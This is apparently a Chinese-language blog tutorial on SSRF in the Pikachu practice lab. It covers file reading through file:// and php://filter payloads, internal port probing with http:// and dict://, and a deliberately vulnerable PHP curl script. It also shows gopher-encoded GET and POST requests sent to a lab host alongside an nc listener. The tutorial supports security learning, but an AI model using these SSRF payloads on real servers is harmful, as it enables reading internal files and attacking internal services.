天天看點

SSRF學習-gopher協定學習

ssrf是攻擊者僞造伺服器端發起請求的漏洞

  • 讀取伺服器内部檔案
  • 端口掃描
  • 攻擊脆弱的内網應用

pikachu靶場

curl_exec()

使用此函數前提

  • PHP版本>=5.3
  • 開啟extension=php_curl.dll

0x01 讀檔案

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file://c:/test.txt
           
SSRF學習-gopher協定學習

0x02 探測主機端口資訊

http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306/info
           
SSRF學習-gopher協定學習
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306/info
           
SSRF學習-gopher協定學習

在cmd輸入curl --version可檢視curl支援的協定

SSRF學習-gopher協定學習

file_get_content

使用此函數前提

  • php.ini的allow_url_fopen設定為ON

讀檔案

SSRF學習-gopher協定學習

php僞協定讀檔案

SSRF學習-gopher協定學習

讀取以base64加密後的test.txt

http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=c://test.txt
           
SSRF學習-gopher協定學習

gopher協定

實驗

前提:curl支援gopher協定

SSRF學習-gopher協定學習

win7(漏洞)192.168.254.132

kali(攻擊)192.168.254.128

漏洞代碼

<?php
$ch = curl_init(); // 建立一個新cURL資源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 設定URL和相應的選項
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它傳遞給浏覽器
curl_close($ch); // 關閉cURL資源,并且釋放系統資源
?>
           

使用phpstudy搭建環境

測試環境是否搭建成功

SSRF學習-gopher協定學習

0x01 kali監聽1234端口

nc -lvvp 1234
           
SSRF學習-gopher協定學習

0x02 利用gopher協定向kali發送資料

SSRF學習-gopher協定學習

kali接收到資料

SSRF學習-gopher協定學習

gopher發送get請求

win7上的源碼

<?php
	echo $_GET['a'];
?>
           

最簡單的get請求

GET /test.php?a=hello HTTP/1.1
Host:192.168.254.132
           

url編碼

(注意如果使用類似burpsuite等工具進行url編碼的話,回車可能會編碼成%0a,而我們要将其編碼成%0d%0a才行)

GET%20/test.php?a=hello%20HTTP/1.1%0d%0aHost:192.168.254.132%0d%0a
           

然後用curl發送請求

curl gopher://192.168.254.132:80/_GET%20/test.php?a=hello%20HTTP/1.1%0d%0aHost:192.168.254.132%0d%0a
           
SSRF學習-gopher協定學習

gopher發送post請求

win7上的源碼

<?php
	echo $_POST['a'];
?>
           

最簡單的post請求封包

POST /test.php HTTP/1.1
host:192.168.254.132
Content-Type:application/x-www-form-urlencoded
Content-Length:11

a=hello
           

将其url編碼

POST%20/test.php%20HTTP/1.1%0d%0ahost:192.168.254.132%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aa=hello%0d%0a
           
SSRF學習-gopher協定學習